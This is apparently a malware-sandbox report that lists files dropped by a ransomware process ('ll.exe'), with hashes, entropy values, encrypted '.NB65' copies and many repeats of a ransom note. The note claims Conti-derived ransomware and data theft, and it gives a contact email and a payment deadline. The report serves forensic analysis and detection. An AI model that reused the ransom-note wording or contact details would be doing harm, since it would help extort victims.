Preview:.V..S6..3.,.IR.D.*..u.l4S.Dr..O..3....,..Sz].LQ...8.......Z.............w.F^"...`.R.l~M...._.^..,\..|......J...N.x.`4.+Q..%o....>M.W.K...]+..S6.W..B.7..J.e.}...t.Q....bon..#Y..d.w......t....-.o..Cr".WH..!.2.v......J.....>)X.Z)..b.-.,...d8....e.s....T..m5M.....(.d7k..........\...`.....)c$%.s.a3..#....L\Z.e..:.,..}...`._X..._...DOa.H.v.p(.......Hcc...|..*.+.I.hw`..6.q>^.ZS.<{.K.X.....v...:...u......~m..wKO...,.3~..2b.h.2:..#C.....}..K.5....l.F.5+..}.g..gx....Y.Q..gM.@.g.(CkN....3..I...^.8.a...&d,<.q.....H..5....o.ls...{.....i...R.!D...Nq..x..V.8.R:..._..#............$.N.......

C:\Program Files\Microsoft Office\Office16\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Microsoft Office\Office16\VisioCustom.propdesc

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1690
Entropy (8bit):7.88004890790458
Encrypted:false
SSDEEP:
MD5:48068861D07743C96D3041C40D313E38
SHA1:7B3BDF2F8180990C371023D26B6062429B40B7F4
SHA-256:AA61F57DF2248F14FC6AB0F4B14DCD9A4A2785F9C6DF6E6B62AEFE01077E3E52
SHA-512:39B68E6E3DF199CC8D85A495AA4EAC0219F45FF8A37868F4AD74546EAE3AAA3D06C3E445AA172352150305396046930EAD5BED11E7D3FC301BB531C1B98064F3
Malicious:false
Preview:...%.CC..T@......9...{.'Q.h6?$....lb.....wWg..?.....O.s.qon.).)...X.v{...E....ZA...N.lc.D..@B+.........b.L....H..sbRze....#V.})....5.U..g.....|._m..T......S.Cp.......K.LXM......<......7.=ng........P..U.....7WM.u0.|.'.....s.....eRGFlI..e&."z...9R.}.....uf.~....O".Z..?..-...`.W-B...I..........U..>(....M.J2...\d.f.....)\[..?.,P.b..|....:.AN..z{.....:..!...l.i..)..x....#aM.?.....!&Em.o...u.}.[.p.q...k.....,(.\.o..^.O.......l.:n.@@....P.......b1..X..mc..4y.W}V..j..U.Q.*#6..r.0_.....hN.(i].P.7W...M...i.....*Zd......'S......Cj~.a...o.. .|.>..A;]...z.D..v.. ....R.b........fHl.^..#.!..E5.l...]L..?['.s.....t.h..X..}.w.l.d...]..eP..E.Pj.;kw......'.r.8..8.57.]....a.._l.9*/@P............%.X...d.Sm..i'.......{^...L.L..].?.p.....:0s.\c...<...T...o.$......;2.f5.a.5.fj...B...{.CYK.......Q[>&*#F.k.YMU..:.q.`...O.M.b.>......~~.. .jB.1.....]A...GW.NB.}D.l...c.....".f....g..J....=...s=.K.,+.T.e../?.g~......#.+p..}6.....K..L._...a...v.%p.t.3..t.fS......6.@..#.*q

C:\Program Files\Microsoft Office\Office16\VisioCustom.propdesc.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1690
Entropy (8bit):7.88004890790458
Encrypted:false
SSDEEP:
MD5:48068861D07743C96D3041C40D313E38
SHA1:7B3BDF2F8180990C371023D26B6062429B40B7F4
SHA-256:AA61F57DF2248F14FC6AB0F4B14DCD9A4A2785F9C6DF6E6B62AEFE01077E3E52
SHA-512:39B68E6E3DF199CC8D85A495AA4EAC0219F45FF8A37868F4AD74546EAE3AAA3D06C3E445AA172352150305396046930EAD5BED11E7D3FC301BB531C1B98064F3
Malicious:false
Preview:...%.CC..T@......9...{.'Q.h6?$....lb.....wWg..?.....O.s.qon.).)...X.v{...E....ZA...N.lc.D..@B+.........b.L....H..sbRze....#V.})....5.U..g.....|._m..T......S.Cp.......K.LXM......<......7.=ng........P..U.....7WM.u0.|.'.....s.....eRGFlI..e&."z...9R.}.....uf.~....O".Z..?..-...`.W-B...I..........U..>(....M.J2...\d.f.....)\[..?.,P.b..|....:.AN..z{.....:..!...l.i..)..x....#aM.?.....!&Em.o...u.}.[.p.q...k.....,(.\.o..^.O.......l.:n.@@....P.......b1..X..mc..4y.W}V..j..U.Q.*#6..r.0_.....hN.(i].P.7W...M...i.....*Zd......'S......Cj~.a...o.. .|.>..A;]...z.D..v.. ....R.b........fHl.^..#.!..E5.l...]L..?['.s.....t.h..X..}.w.l.d...]..eP..E.Pj.;kw......'.r.8..8.57.]....a.._l.9*/@P............%.X...d.Sm..i'.......{^...L.L..].?.p.....:0s.\c...<...T...o.$......;2.f5.a.5.fj...B...{.CYK.......Q[>&*#F.k.YMU..:.q.`...O.M.b.>......~~.. .jB.1.....]A...GW.NB.}D.l...c.....".f....g..J....=...s=.K.,+.T.e../?.g~......#.+p..}6.....K..L._...a...v.%p.t.3..t.fS......6.@..#.*q

C:\Program Files\Microsoft Office\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Reference Assemblies\Microsoft\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Reference Assemblies\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\UNP\Logs\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\UNP\Logs\UpdateNotificationPipeline.001.etl

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):131606
Entropy (8bit):7.998410114146437
Encrypted:true
SSDEEP:
MD5:3FA5B8787407992F069841F283B0E375
SHA1:8689F9F1BFC8BA68BCD2BAD0C9605F438EBDE30B
SHA-256:BA196379C0E6FF6ADDD1CC6505AA58001F1499541A3A2CE549C3EA93CCF558B6
SHA-512:D7EF27C4CBDB270FD737C0C46A5B7E9F792C835946329FE05185611B622EE18464F4F14F8E3AACE4E7A7C4116BB7967CF62F947D4A43CF894C2CB67F3E6F7269
Malicious:true
Preview:.h.;...#...RN....v..7Qy..(.".r..f1.|..P..:B.Z.tN.%'.dy..............h....!}........Q.D..s...r.bL...2...".}..Ch..}...D..9..`.^.........M3.r!5U.....[.N ..r..2G.).*.7>y.C@.D;..U..v..h/Cb...A.?...*...L.B.....5...&.$..G=l{....Q.q...QRJ.C.=............ctE.~....JN..@^.T.K=..8O...S:..d..../-..V.(.,.........y.MKF..K&G._.=.T.d..0W.\..b.*I$Pe..r..;.Y.?D..].....Z....s.Jg..[n.0m.q).p..).......B.d.......5.a..QR......wb....d..C.5.Z..}.P.fm.W.}..k.7I......4F...^:a...Ed..R6.....n.........5.mJ...i...$.....h...5&^:@. .u..w..vF..q.Ag..c.s.e.}Yk........l...m.v.{...:...p..&8.S...IuB.......|C.~]c.....e.g.b.....n..H.....c..U.Z.$V."_Y...p...ci.M.. 1T..). a........O!.....GD..<{..W.J..&(..............Bc...r.q.f....xp9.%.<[.EG..pX..@...I..b!......._y.'.g.Q...V....e......I.m..Z%.9.Y%..}f.o..V.P..M.l~K;~j.".9/.3m....@i.l.(.|05.<.#......:.L.X.+...o......_.P8..0..dkj..9u$R..5N7 ...p!..~...cD..... ......:G.H".n`ZK..=.x..o...4.x.T.....h.f..2Ls..@Y.P..7.O.B... .N.A...pB

C:\Program Files\UNP\Logs\UpdateNotificationPipeline.001.etl.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):131606
Entropy (8bit):7.998410114146437
Encrypted:true
SSDEEP:
MD5:3FA5B8787407992F069841F283B0E375
SHA1:8689F9F1BFC8BA68BCD2BAD0C9605F438EBDE30B
SHA-256:BA196379C0E6FF6ADDD1CC6505AA58001F1499541A3A2CE549C3EA93CCF558B6
SHA-512:D7EF27C4CBDB270FD737C0C46A5B7E9F792C835946329FE05185611B622EE18464F4F14F8E3AACE4E7A7C4116BB7967CF62F947D4A43CF894C2CB67F3E6F7269
Malicious:true
Preview:.h.;...#...RN....v..7Qy..(.".r..f1.|..P..:B.Z.tN.%'.dy..............h....!}........Q.D..s...r.bL...2...".}..Ch..}...D..9..`.^.........M3.r!5U.....[.N ..r..2G.).*.7>y.C@.D;..U..v..h/Cb...A.?...*...L.B.....5...&.$..G=l{....Q.q...QRJ.C.=............ctE.~....JN..@^.T.K=..8O...S:..d..../-..V.(.,.........y.MKF..K&G._.=.T.d..0W.\..b.*I$Pe..r..;.Y.?D..].....Z....s.Jg..[n.0m.q).p..).......B.d.......5.a..QR......wb....d..C.5.Z..}.P.fm.W.}..k.7I......4F...^:a...Ed..R6.....n.........5.mJ...i...$.....h...5&^:@. .u..w..vF..q.Ag..c.s.e.}Yk........l...m.v.{...:...p..&8.S...IuB.......|C.~]c.....e.g.b.....n..H.....c..U.Z.$V."_Y...p...ci.M.. 1T..). a........O!.....GD..<{..W.J..&(..............Bc...r.q.f....xp9.%.<[.EG..pX..@...I..b!......._y.'.g.Q...V....e......I.m..Z%.9.Y%..}f.o..V.P..M.l~K;~j.".9/.3m....@i.l.(.|05.<.#......:.L.X.+...o......_.P8..0..dkj..9u$R..5N7 ...p!..~...cD..... ......:G.H".n`ZK..=.x..o...4.x.T.....h.f..2Ls..@Y.P..7.O.B... .N.A...pB

C:\Program Files\UNP\Logs\UpdateNotificationPipeline.002.etl

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):131606
Entropy (8bit):7.9986192784610965
Encrypted:true
SSDEEP:
MD5:96D93C2382542DFD8956F24C791736B7
SHA1:29B15EDAE406285C8ADB3A2524B8B18087B8F8E2
SHA-256:64793EA486B07339267B24800A7CFA5FCC81096041DB4A9564D13AF45339D632
SHA-512:B8ADB873EBD2FABB829D07E2B6DA43FED7BD9EFD919153877246619E6FD2D473DDF596A4250FE90CEA355EE63BEF0F0D840F39CD348E7D29B92243120C977275
Malicious:true
Preview:..&.Y..|.m...s.m9.)..%3U,....e...|..'..n.b^......K.)......ou:.6.G<..}..y*$'.......w...].+......Mbw.w.S...dg..4(..l...z.P.G....i..g....i....O......4]..Z'83...^..&.l.K.5.z..H..E.."....2..v.=....tX*.O.D@...>..S5+..Vq....{.a..P....9.3[...2..T...~8q.]s..x.|Y.K.\<1...Po...,.;.Y...*.2....".Ov...'.....Bj.U.v....:..ET...6..&m....24..w.y..D....Q(Rm(..q..1.)t.......LD..Q<H.....Ca...R.x.@.Dn.N.b..A.]...t.n.*..aA...yf...VC.....\...A.;f.E6_...?U......Dc..^...9l&...!`8.g(o......}Z....9..V.~..............\...h....RCE....%...Y.X.qA.#$...oOi..WM.:Y.....A`=....3 ..:......l.f..z...=....fgNv1v..|.....A..Y.....3....]...`\0($...&?.N..Z..M.f...i"l;...[.b?l.....K..CB..0.E^..K.s.M+...V.\.=#.m..C..k.4....M.......>=TF.-..D....\.|r7.1.......m...mv.l.#..`^yK../X&q.C.......(&.wg4.....o&p.....U...-1.....U..T..~.)>b./..Md.V^d...>V?._.;ex..M.y.h...B..b0;.<-fn.k|.?..?..5._..?#p...0c+.......u.."UV.ye..:Z.-..}.-gC.w...5.e........Y.W...izW3.](.......t...$...?....(..fRP....L.,T.mB

C:\Program Files\UNP\Logs\UpdateNotificationPipeline.002.etl.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):131606
Entropy (8bit):7.9986192784610965
Encrypted:true
SSDEEP:
MD5:96D93C2382542DFD8956F24C791736B7
SHA1:29B15EDAE406285C8ADB3A2524B8B18087B8F8E2
SHA-256:64793EA486B07339267B24800A7CFA5FCC81096041DB4A9564D13AF45339D632
SHA-512:B8ADB873EBD2FABB829D07E2B6DA43FED7BD9EFD919153877246619E6FD2D473DDF596A4250FE90CEA355EE63BEF0F0D840F39CD348E7D29B92243120C977275
Malicious:true
Preview:..&.Y..|.m...s.m9.)..%3U,....e...|..'..n.b^......K.)......ou:.6.G<..}..y*$'.......w...].+......Mbw.w.S...dg..4(..l...z.P.G....i..g....i....O......4]..Z'83...^..&.l.K.5.z..H..E.."....2..v.=....tX*.O.D@...>..S5+..Vq....{.a..P....9.3[...2..T...~8q.]s..x.|Y.K.\<1...Po...,.;.Y...*.2....".Ov...'.....Bj.U.v....:..ET...6..&m....24..w.y..D....Q(Rm(..q..1.)t.......LD..Q<H.....Ca...R.x.@.Dn.N.b..A.]...t.n.*..aA...yf...VC.....\...A.;f.E6_...?U......Dc..^...9l&...!`8.g(o......}Z....9..V.~..............\...h....RCE....%...Y.X.qA.#$...oOi..WM.:Y.....A`=....3 ..:......l.f..z...=....fgNv1v..|.....A..Y.....3....]...`\0($...&?.N..Z..M.f...i"l;...[.b?l.....K..CB..0.E^..K.s.M+...V.\.=#.m..C..k.4....M.......>=TF.-..D....\.|r7.1.......m...mv.l.#..`^yK../X&q.C.......(&.wg4.....o&p.....U...-1.....U..T..~.)>b./..Md.V^d...>V?._.;ex..M.y.h...B..b0;.<-fn.k|.?..?..5._..?#p...0c+.......u.."UV.ye..:Z.-..}.-gC.w...5.e........Y.W...izW3.](.......t...$...?....(..fRP....L.,T.mB

C:\Program Files\UNP\Logs\UpdateNotificationPipeline.003.etl

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):131606
Entropy (8bit):7.9985677084570534
Encrypted:true
SSDEEP:
MD5:BB0B93BEA765AD9891AC322B6EA02FF0
SHA1:41A8AA04529D8C613B176EB9A4F8F9FBC823952B
SHA-256:8C5CC64810E1E94143544C1ABFD16DCB6F936F643379AADDC276E762C3333F7D
SHA-512:487A82CBA208F8E853AA311BA87A17F6A431771D2BA393934DA667680E67C2D3D9B55FB5D32BDEB5E4A3F8DF5BBA1A0490871853C996E9763DB380E465F0260F
Malicious:true
Preview:.N..u.....+..w......Q.. ....~......EI.k.g]..T'..]&..4...M]......:.V..$.......M..e''*.I.g.....(cE!..je..pkEIV]...3..@.....Z8U.J.....=t.(...7.Tut2..vm..M.`.+...../i.X.xG.W?..^.h/..0.. .F$.A......Z<.y(.P.C*$x....h.....qv.....{....'...O}1W.....k..........?.J.....&.Ud..C..........Y@.o.o#....sv.Q......ym.\{..uR.o..1..6..!.!.....sO..%6.*..z.Oz.n...b.(.S...w..C......f...0Q...WkM......}."I....N.1.s...55.......$...s.....Bc.k.g....f....w..&.. ..B..G....q....Q...d...YDs.P...VI ..0i..J8.........cp...*:?[.>..O.1.."<..1..8....#.0b...F..(veW.8.E.]"..>.X.r......N. *.._S.J)#.....g....R..].... ..#VE.J.j.['..)..7.:.d....HX.c.M2^<...V..a..}.W...@}............T.Xs.\s+t.....U.;\.......e.O9.P'....vTu..]#.$U*.......]......q. X.Y.E..od.....v.n+........?9...4=.N*^..X..F^N...*.E..D....u...]....`.V.[1<.<H.~.....|.$Q...=.H..r".......B..Y-."...Qd<.:K.......a.|..z.Wo.wj!..$.4/."...c.Q.e.... ...mp.,FD.RL.2..<...T. ...$..LI......R..i9....H9..'0..h......<..A.l..)...rIF.

C:\Program Files\UNP\Logs\UpdateNotificationPipeline.003.etl.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):131606
Entropy (8bit):7.9985677084570534
Encrypted:true
SSDEEP:
MD5:BB0B93BEA765AD9891AC322B6EA02FF0
SHA1:41A8AA04529D8C613B176EB9A4F8F9FBC823952B
SHA-256:8C5CC64810E1E94143544C1ABFD16DCB6F936F643379AADDC276E762C3333F7D
SHA-512:487A82CBA208F8E853AA311BA87A17F6A431771D2BA393934DA667680E67C2D3D9B55FB5D32BDEB5E4A3F8DF5BBA1A0490871853C996E9763DB380E465F0260F
Malicious:true
Preview:.N..u.....+..w......Q.. ....~......EI.k.g]..T'..]&..4...M]......:.V..$.......M..e''*.I.g.....(cE!..je..pkEIV]...3..@.....Z8U.J.....=t.(...7.Tut2..vm..M.`.+...../i.X.xG.W?..^.h/..0.. .F$.A......Z<.y(.P.C*$x....h.....qv.....{....'...O}1W.....k..........?.J.....&.Ud..C..........Y@.o.o#....sv.Q......ym.\{..uR.o..1..6..!.!.....sO..%6.*..z.Oz.n...b.(.S...w..C......f...0Q...WkM......}."I....N.1.s...55.......$...s.....Bc.k.g....f....w..&.. ..B..G....q....Q...d...YDs.P...VI ..0i..J8.........cp...*:?[.>..O.1.."<..1..8....#.0b...F..(veW.8.E.]"..>.X.r......N. *.._S.J)#.....g....R..].... ..#VE.J.j.['..)..7.:.d....HX.c.M2^<...V..a..}.W...@}............T.Xs.\s+t.....U.;\.......e.O9.P'....vTu..]#.$U*.......]......q. X.Y.E..od.....v.n+........?9...4=.N*^..X..F^N...*.E..D....u...]....`.V.[1<.<H.~.....|.$Q...=.H..r".......B..Y-."...Qd<.:K.......a.|..z.Wo.wj!..$.4/."...c.Q.e.... ...mp.,FD.RL.2..<...T. ...$..LI......R..i9....H9..'0..h......<..A.l..)...rIF.

C:\Program Files\UNP\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\UNP\UpdateNotificationMgr\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Uninstall Information\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\desktop.ini

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.60596202097361
Encrypted:false
SSDEEP:
MD5:B76EF719B0142D904D97775B8C85232E
SHA1:D03A8407B925F5741C78BBF1B805B7936D7E4282
SHA-256:496941529C63353AEA1FEBA47741719AB719C8104C74C54DDD518D47F86E1935
SHA-512:5F017424F6BCEA31BBECD9C13D7E4EC23269A1CE5F072203BFD3A7765C207376839C0B3A5D953F9F3236FA15CD537BFDE2FFE0458F1E2B17107DDD6DDA960B21
Malicious:false
